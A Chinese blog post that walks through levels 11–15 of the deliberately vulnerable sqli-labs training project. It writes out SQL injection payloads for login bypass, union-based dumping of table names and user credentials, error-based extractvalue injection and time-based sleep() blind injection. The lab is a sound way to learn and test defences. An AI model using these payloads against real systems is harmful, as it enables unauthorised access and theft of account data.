生命在于折腾——SQL注入的实操(三)less11-15

一、实操环境

1、操作系统

  1. VMware虚拟机创建的win10系统
  2. 内存8GB
  3. 硬盘255GB
  4. 处理器AMD Ryzen 9 5900HX

2、操作项目

sql-lib项目,本篇文章介绍关卡11-15。

3、工具版本

  1. phpstudy 8.1.1.3
  2. php版本 5.4.45nts
  3. Apache2.4.39
  4. MySQL5.7.26
  5. Chrome

4、SQL注入目的

  1. 判断是否允许注入
  2. 判断注入点类型
  3. 判断回显点
  4. 获取数据库信息
  5. 获取表信息
  6. 获取字段信息

二、less-11

1、注入判断

post注入,先在username输入admin’,密码随便输,返回错误信息,从错误信息可以找到username有注入点,而且应该是字符注入类型。
burp抓到的包是这样的。
在这里插入图片描述
在burp中万能语句,admin’ or 1=1 发现正常登录了。
在这里插入图片描述
记得在F12hackbar中将post开启。
在这里插入图片描述

2、确定列数

使用order by。
如果是admin’ or order by 3# 会报错,如果是2,则正常显示,所以列数有两列。

3、获取数据库名

输入1(这里随便给个值,目的是让其查不到) admin’ union select 1,database()#可以显示出库名。
在这里插入图片描述

4、获取表信息

输入1 admin’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#就可以查出表信息。
在这里插入图片描述

5、获取列名

输入1 admin’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’#,即可获取列名。
在这里插入图片描述

6、获取用户名、密码

输入1 admin’ union select group_concat(username),group_concat(password)from users#即可获取用户名和密码。
在这里插入图片描述

三、less-12

1、尝试判断

输入admin’,没有回显,有可能是双引号字符型注入,如果输入admin",报错,所以这里修改为admin") or 1=1#,登陆成功。

2、获取数据库信息

1 admin") union select 1,database()#
在这里插入图片描述

3、获取表信息

输入1 admin") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述

4、获取列信息

1 admin") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’#
在这里插入图片描述

5、获取用户名和密码

1 admin") union select group_concat(username),group_concat(password)from users#

在这里插入图片描述

四、less-13

1、尝试判断注入

先尝试admin’,报错,看报错信息,修改为admin’) or 1=1#,发现没有回显,所以使用报错盲注。

2、获取数据库信息

输入admin’) and extractvalue(1,concat(‘~’,(select database()),‘~’))#。
在这里插入图片描述

3、获取表名

admin’) and extractvalue(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),‘~’))#,更改limit可以获取后面的表名。
在这里插入图片描述

4、获取列名

admin’) and extractvalue(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),‘~’))#
在这里插入图片描述

5、获取用户名和密码

admin’) and extractvalue(1,concat(‘~’,(select username from users limit 0,1),‘~’))#
在这里插入图片描述

五、less-14

1、判断注入

经过测试,发现与十三关类似,这里是报错的双引号盲注,改成admin"就行。

2、获取数据库信息

admin" and extractvalue(1,concat(‘~’,(select database()),‘~’))#
在这里插入图片描述

3、获取表信息

admin" and extractvalue(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),‘~’))#,更改limit可以获取后面的表名。
在这里插入图片描述

4、获取列名

admin" and extractvalue(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),‘~’))#
在这里插入图片描述

5、获取用户名和密码

admin" and extractvalue(1,concat(‘~’,(select username from users limit 0,1),‘~’))#
在这里插入图片描述

六、less-15

1、尝试判断

输入了admin’、admin"以及加上各种括号都不显示,可能是延迟注入,这里为单引号盲注。

2、获取数据库信息

输入admin’ and if(substr((select database()),1,1)=‘s’,sleep(5),1)#也可以用ascii判断
在这里插入图片描述

3、获取表信息

输入admin’ and if((select count(*)from information_schema.tables where table_schema=database())=4,sleep(5),1)#
在这里插入图片描述

七、总结与小记

本篇文章是sql-lib的11-15关,如果有什么问题请大家海涵,有什么问题请大家评论。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

「已注销」

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值